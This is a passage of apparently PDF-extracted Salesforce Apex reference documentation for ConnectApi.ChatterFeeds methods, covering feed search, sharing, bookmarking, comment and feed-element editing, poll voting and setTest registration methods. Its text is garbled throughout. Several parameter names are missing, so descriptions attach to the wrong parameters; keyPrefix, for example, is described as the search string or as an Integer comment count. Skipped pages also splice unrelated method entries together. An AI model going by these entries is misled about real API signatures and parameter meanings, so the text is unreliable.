searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, pageParam,

pageSize, sortParam, q)
Searches the feed elements of a feed filtered by key prefix, and returns a specified page and page size in a specified sort order.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFilterFeed(String
communityId, String subjectId, String keyPrefix, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: String

932

Reference

ChatterFeeds Class

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, q, result)
Testing ConnectApi Code

searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix,

recentCommentCount, density, pageParam, pageSize, sortParam, q)
Searches the feed elements of a feed filtered by key prefix, and returns a specified page and page size in a specified sort order. Each feed
element includes no more than the specified number of comments.

API Version
31.0

Requires Chatter
Yes

933

Reference

ChatterFeeds Class

Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFilterFeed(String
communityId, String subjectId, String keyPrefix, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

934

Reference

ChatterFeeds Class

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize,
sortParam, q, result)
Testing ConnectApi Code

searchFeedItems(communityId, q)
Returns the first page of all the feed items that match the specified search criteria. The page contains the default number of items.

API Version
28.031.0
Important: In version 32.0 and later, use searchFeedElements(communityId, q).

Available to Guest Users

31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage searchFeedItems(String communityId, String q)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String

935

Reference

ChatterFeeds Class

Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.FeedItemPage

searchFeedItems(communityId, q, sortParam)
Returns the first page of all the feed items that match the specified search criteria. The page contains the default number of items.

API Version
28.031.0
Important: In version 32.0 and later, use searchFeedElements(communityId, q, sortParam).

Available to Guest Users

31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage searchFeedItems(String communityId, String q,
ConnectApi.FeedSortOrder sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

936

Reference

ChatterFeeds Class

sortParam
Type: ConnectApi.FeedSortOrder

Return Value
Type: ConnectApi.FeedItemPage

searchFeedItems(communityId, q, pageParam, pageSize)

Returns a list of all the feed items viewable by the context user that match the specified search criteria.

API Version
28.031.0
Important: In version 32.0 and later, use searchFeedElements(communityId, q, pageParam, pageSize).

Available to Guest Users

31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage searchFeedItems(String communityId, String q,
String pageParam, Integer pageSize)

Parameters
communityId

Type: String

937

Reference

ChatterFeeds Class

Use either the ID for a community, internal, or null.

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.FeedItemPage

searchFeedItems(communityId, q, pageParam, pageSize, sortParam)

Returns a list of all the feed items viewable by the context user that match the specified search criteria.

API Version
28.031.0
Important: In version 32.0 and later, use searchFeedElements(communityId, q, pageParam, pageSize, sortParam).

Available to Guest Users

31.0 only

Requires Chatter
Yes

938

Reference

ChatterFeeds Class

Signature
public static ConnectApi.FeedItemPage searchFeedItems(String communityId, String q,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Return Value
Type: ConnectApi.FeedItemPage

939

Reference

ChatterFeeds Class

searchFeedItems(communityId, q, recentCommentCount, pageParam, pageSize,

sortParam)
Returns a list of all the feed items viewable by the context user that match the specified search criteria.

API Version
29.031.0
Important: In version 32.0 and later, use searchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize,
sortParam).

Available to Guest Users

31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage searchFeedItems(String communityId, String q,
Integer recentCommentCount, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

940

Reference

ChatterFeeds Class

Return Value
Type: ConnectApi.FeedItemPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedItems(communityId, q, recentCommentCount, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code

searchFeedItemsInFeed(communityId, feedType, q)
Searches the feed items for the Company, Home, and Moderation feed types.

API Version
28.031.0
Important: In version 32.0 and later, use searchFeedElementsInFeed(communityId, feedType, q).

Available to Guest Users

31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage searchFeedItemsInFeed(String communityId,
ConnectApi.FeedType feedType, String q)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

941

Reference

ChatterFeeds Class

feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.FeedItemPage

searchFeedItemsInFeed(communityId, feedType, pageParam, pageSize, sortParam,

q)
Searches the feed items for the Company, Home, and Moderation feed types and returns a specified page and page size in a
specified sort order.

API Version
28.031.0
Important: In version 32.0 and later, use searchFeedElementsInFeed(communityId, feedType, pageParam, pageSize, sortParam,
q).

Available to Guest Users

31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage searchFeedItemsInFeed(String communityId,
ConnectApi.FeedType feedType, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q)

942

Reference

ChatterFeeds Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.
pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.FeedItemPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q, result)
Testing ConnectApi Code

943

Reference

ChatterFeeds Class

searchFeedItemsInFeed(communityId, feedType, recentCommentCount, density,

pageParam, pageSize, sortParam, q)
Searches the feed items for the Company, Home, and Moderation feed types and returns a specified page and page size in a
specified sort order. Each feed item includes no more than the specified number of comments.

API Version
29.031.0
Important: In version 32.0 and later, use searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density,
pageParam, pageSize, sortParam, q).

Available to Guest Users

31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage searchFeedItemsInFeed(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: String

944

Reference

ChatterFeeds Class

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.FeedItemPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q, result)
Testing ConnectApi Code

searchFeedItemsInFeed(communityId, feedType, subjectId, q)

Searches the feed items for a specified feed type.

API Version
28.031.0
Important: In version 32.0 and later, use searchFeedElementsInFeed(communityId, feedType, subjectId, q).

Available to Guest Users

31.0 only

945

Reference

ChatterFeeds Class

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage searchFeedItemsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String q)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company and Filter.
subjectId

Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feed type is UserProfile, subjectId
can be any user ID. If feedType is any other value, subjectId must be the ID of the context user or the alias me.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.FeedItemPage

searchFeedItemsInFeed(communityId, feedType, subjectId, pageParam, pageSize,

sortParam, q)
Searches the feed items for a specified feed type and user or record, and returns a specified page and page size in a specified sort order.

API Version
28.031.0

946

Reference

ChatterFeeds Class

Important: In version 32.0 and later, use searchFeedElementsInFeed(communityId, feedType, subjectId, pageParam, pageSize,
sortParam, q).

Available to Guest Users

31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage searchFeedItemsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company and Filter.
subjectId

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
showInternalOnly

Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.

Return Value
Type: ConnectApi.FeedItemPage

951

Reference

ChatterFeeds Class

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
q, showInternalOnly, result)
Testing ConnectApi Code

searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, q)

Searches the feed items of a feed filtered by key prefix.

API Version
28.031.0
Important: In version 32.0 and later, use searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, q).

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage searchFeedItemsInFilterFeed(String communityId,
String subjectId, String keyPrefix, String q)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

952

Reference

ChatterFeeds Class

Return Value
Type: ConnectApi.FeedItemPage

searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, pageParam,

pageSize, sortParam, q)
Searches the feed items of a feed filtered by key prefix, and returns a specified page and page size in a specified sort order.

API Version
28.031.0
Important: In version 32.0 and later, use searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize,
sortParam, q).

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage searchFeedItemsInFilterFeed(String communityId,
String subjectId, String keyPrefix, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

953

Reference

ChatterFeeds Class

pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.FeedItemPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedItemsInFilterFeed(communityId, feedType, subjectId, keyPrefix, pageParam, pageSize, sortParam, q, result)
Testing ConnectApi Code

searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix,

recentCommentCount, density, pageParam, pageSize, sortParam, q)
Searches the feed items of a feed filtered by key prefix, and returns a specified page and page size in a specified sort order. Each feed
item includes no more than the specified number of comments.

API Version
29.031.0
Important: In version 32.0 and later, use searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount,
density, pageParam, pageSize, sortParam, q).

954

Reference

ChatterFeeds Class

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage searchFeedItemsInFilterFeed(String communityId,
String subjectId, String keyPrefix, Integer recentCommentCount, ConnectApi.FeedDensity
density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String
q)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Values are:
CreatedDateDescSorts by most recent creation date.
LastModifiedDateDescSorts by most recent activity.

955

Reference

ChatterFeeds Class

Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

Return Value
Type: ConnectApi.FeedItemPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedItemsInFilterFeed(communityId, feedType, subjectId, keyPrefix, recentCommentCount, density, pageParam,
pageSize, sortParam, q, result)
Testing ConnectApi Code

setFeedEntityStatus(communityId, feedElementId, status) (Beta)

Set the status of a feed element.
Note: This release contains a beta version of the pre-moderation feature, which means its a high-quality feature with known
limitations. This feature isnt generally available unless or until Salesforce announces its general availability in documentation or
in press releases or public statements. We cant guarantee general availability within any particular time frame or at all. Make your
purchase decisions only on the basis of generally available products and features. You can provide feedback and suggestions for
this feature in the Community Implementation group in the Success Community.

API Version
37.0

Requires Chatter
Yes

Signature
public static ConnectApi.StatusCapability setFeedEntityStatus(String communityId, String
feedElementId, ConnectApi.StatusCapabilityInput status)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

956

Reference

ChatterFeeds Class

feedElementId

Type: String
ID of the feed element.
status

Type: ConnectApi.StatusCapabilityInput
A ConnectApi.StatusCapabilityInput object that includes the status you want to set.

Return Value
Type: ConnectApi.StatusCapability
If the feed element doesnt support this capability, the return value is ConnectApi.NotFoundException.

Usage
Only users with the Can Approve Feed Post permission can set the status of a feed element.

setIsMutedByMe(communityId, feedElementId, isMutedByMe)

Mute or unmute a feed element.

API Version
35.0

Requires Chatter
Yes

Signature
public static ConnectApi.MuteCapability setIsMutedByMe(String communityId, String
feedElementId, Boolean isMutedByMe)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
ID of the feed element.
isMutedByMe

Type: Boolean
Indicates whether the feed element is muted for the context user. Default value is false.

957

Reference

ChatterFeeds Class

Return Value
Type: ConnectApi.MuteCapability

shareFeedElement(communityId, subjectId, feedElementType,

originalFeedElementId)
Share the originalFeedElementId as the context user.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElement shareFeedElement(String communityId, String
subjectId, ConnectApi.FeedElementType feedElementType, String originalFeedElementId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the user or group with whom to share the feed element.
feedElementType
Type: ConnectApi.FeedElementType

Values are:
BundleA container of feed elements. A bundle also has a body made up of message segments that can always be gracefully
degraded to text-only values.
FeedItemA feed item has a single parent and is scoped to one community or across all communities. A feed item can have
capabilities such as bookmarks, canvas, content, comment, link, poll. Feed items have a body made up of message segments
that can always be gracefully degraded to text-only values.
RecommendationA recommendation is a feed element with a recommendations capability. A recommendation suggests
records to follow, groups to join, or applications that are helpful to the context user.
originalFeedElementId

Type: String
The ID of the feed element to share.

958

Reference

ChatterFeeds Class

Return Value
Type: ConnectApi.FeedElement
SEE ALSO:
Share a Feed Element

shareFeedItem(communityId, feedType, subjectId, originalFeedItemId)

Share the originalFeedItemId to the feed specified by the feedType.

API Version
28.031.0
Important: In version 32.0 and later, use shareFeedElement(communityId, subjectId, feedElementType, originalFeedElementId).

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItem shareFeedItem(String communityId, ConnectApi.FeedType
feedType, String subjectId, String originalFeedItemId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

One of the following:

News
Record
UserProfile
To share a feed item with a group, use Record and use a group ID as the subjectId.
subjectId

Type: String
The value depends on the value of feedType:
NewssubjectId must be the ID of the context user or the keyword me.
RecordsubjectId can be a group ID or the ID of the context user (or me).
UserProfilesubjectId can be any user ID.
originalFeedItemId

Type: String

959

Reference

ChatterFeeds Class

The ID of the feed item to share.

Return Value
Type: ConnectApi.FeedItem

Sample: Sharing a Feed Item with a Group

To share a feed item with a group, call ConnectApi.ChatterFeeds.shareFeedItem and pass it the community ID (or null),
the feed type Record, the group ID, and the ID of the feed item to share.
ConnectApi.ChatterFeeds.shareFeedItem(null, ConnectApi.FeedType.Record, '0F9D00000000izf',
'0D5D0000000JuAG');

updateBookmark(communityId, feedItemId, isBookmarkedByCurrentUser)

Bookmarks the specified feed item or removes a bookmark from the specified feed item.

API Version
28.031.0
Important: In version 32.0 and later, use updateFeedElementBookmarks(communityId, feedElementId, bookmarks),
updateFeedElementBookmarks(communityId, feedElementId, bookmarks), or updateFeedElementBookmarks(communityId,
feedElementId, isBookmarkedByCurrentUser).

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItem updateBookmark(String communityId, String feedItemId,
Boolean isBookmarkedByCurrentUser)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedItemId

Type: String
The ID for a feed item.
isBookmarkedByCurrentUser

Type: Boolean
Specifying true adds the feed item to the list of bookmarks for the current user. Specify false to remove a bookmark.

960

Reference

ChatterFeeds Class

Return Value
Type: ConnectApi.FeedItem

updateComment(communityId, commentId, comment)

Edits a comment.

API Version
34.0

Requires Chatter
Yes

Signature
public static ConnectApi.Comment updateComment(String communityId, String commentId,
ConnectApi.CommentInput comment)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
commentId

Type: String
ID of the comment to be edited.
comment
Type: ConnectApi.CommentInput

Information about the comment to be edited.

Return Value
Type: ConnectApi.Comment
SEE ALSO:
Edit a Comment

updateFeedElement(communityId, feedElementId, feedElement)

Edits a feed element. Feed items are the only type of feed element that can be edited.

API Version
34.0

961

Reference

ChatterFeeds Class

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElement updateFeedElement(String communityId, String
feedElementId, ConnectApi.FeedElementInput feedElement)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
ID of the feed element to be edited. Feed items are the only type of feed element that can be edited.
feedElement
Type: ConnectApi.FeedElementInput

Information about the feed element to be edited. Feed items are the only type of feed element that can be edited.

Return Value
Type: ConnectApi.FeedElement
SEE ALSO:
Edit a Feed Element
Edit a Question Title and Post

updateFeedElementBookmarks(communityId, feedElementId, bookmarks)

Bookmark or unbookmark a feed element by passing a ConnectApi.BookmarksCapabilityInput object.

API Version
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.BookmarksCapability updateFeedElementBookmarks(String
communityId, String feedElementId, ConnectApi.BookmarksCapabilityInput bookmarks)

962

Reference

ChatterFeeds Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
The ID for a feed element.
bookmarks

Type: ConnectApi.BookmarksCapabilityInput
Information about a bookmark.

Return Value
Type: ConnectApi.BookmarksCapability
If the feed element doesnt support this capability, the return value is ConnectApi.NotFoundException.

updateFeedElementBookmarks(communityId, feedElementId,
isBookmarkedByCurrentUser)
Bookmark or unbookmark a feed element by passing a boolean value.

API Version
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.BookmarksCapability updateFeedElementBookmarks(String
communityId, String feedElementId, Boolean isBookmarkedByCurrentUser)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
The ID for a feed element.
isBookmarkedByCurrentUser

Type: Boolean
Specify whether to bookmark the feed element (true) or not (false).

963

Reference

ChatterFeeds Class

Return Value
Type: ConnectApi.BookmarksCapability
If the feed element doesnt support this capability, the return value is ConnectApi.NotFoundException.
SEE ALSO:
Bookmark a Feed Element

voteOnFeedElementPoll(communityId, feedElementId, myChoiceId)

Vote on a poll or change your vote on a poll.

API Version
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.PollCapability voteOnFeedElementPoll(String communityId, String
feedElementId, String myChoiceId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
The ID for a feed element.
myChoiceId

Type: String
The ID of the poll item to vote for. The key prefix for poll items is 09A.

Return Value
Type: ConnectApi.PollCapability Class
If the feed element doesnt support this capability, the return value is ConnectApi.NotFoundException.

Example
ConnectApi.PollCapability poll = ConnectApi.ChatterFeeds.voteOnFeedElementPoll(null,
'0D5D0000000XZaUKAW', '09AD000000000TKMAY');

964

Reference

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam)
Testing ConnectApi Code

setTestGetFeedElementsFromFeed(communityId, feedType, recentCommentCount,

density, pageParam, pageSize, sortParam, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with
matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
31.0

Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType
feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam,
Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)

967

Reference

ChatterFeeds Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam)
Testing ConnectApi Code

968

Reference

ChatterFeeds Class

setTestGetFeedElementsFromFeed(communityId, feedType, recentCommentCount,

density, pageParam, pageSize, sortParam, filter, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with
matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
32.0

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Values are:

969

Reference

ChatterFeeds Class

CreatedDateDescSorts by most recent creation date.

LastModifiedDateDescSorts by most recent activity.
Sorts the returned feed by the most recently created feed element, or by the most recently modified feed element. If you pass in
null, the default value CreatedDateDesc is used.
filter

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, filter)
Testing ConnectApi Code

setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, result)

API Version
31.0

Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

970

Reference

ChatterFeeds Class

feedType

Type: ConnectApi.FeedType
The feed type.
subjectId

Type: String
The ID of the context user or the alias me.
result

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, subjectId)
Testing ConnectApi Code

setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, pageParam,

pageSize, sortParam, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with
matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
31.0

Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam, ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company, Filter, Home, and Moderation.
subjectId

Type: String

971

Reference

ChatterFeeds Class

Type: Integer
The page contains the default number of items.
sortParam
Type: ConnectApi.FeedSortOrder

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam)
Testing ConnectApi Code

setTestGetFeedElementsFromFeed(communityId, feedType, subjectId,

recentCommentCount, density, pageParam, pageSize, sortParam, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with
matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
31.0

Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
ConnectApi.FeedElementPage result)

972

Reference

ChatterFeeds Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company, Filter, Home, and Moderation.
subjectId

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: ConnectApi.FeedElementPage
The object containing test data.

973

Reference

ChatterFeeds Class

Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam)
Testing ConnectApi Code

setTestGetFeedElementsFromFeed(communityId, feedType, subjectId,

recentCommentCount, density, pageParam, pageSize, sortParam, showInternalOnly,
result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with
matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.

API Version
31.0

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
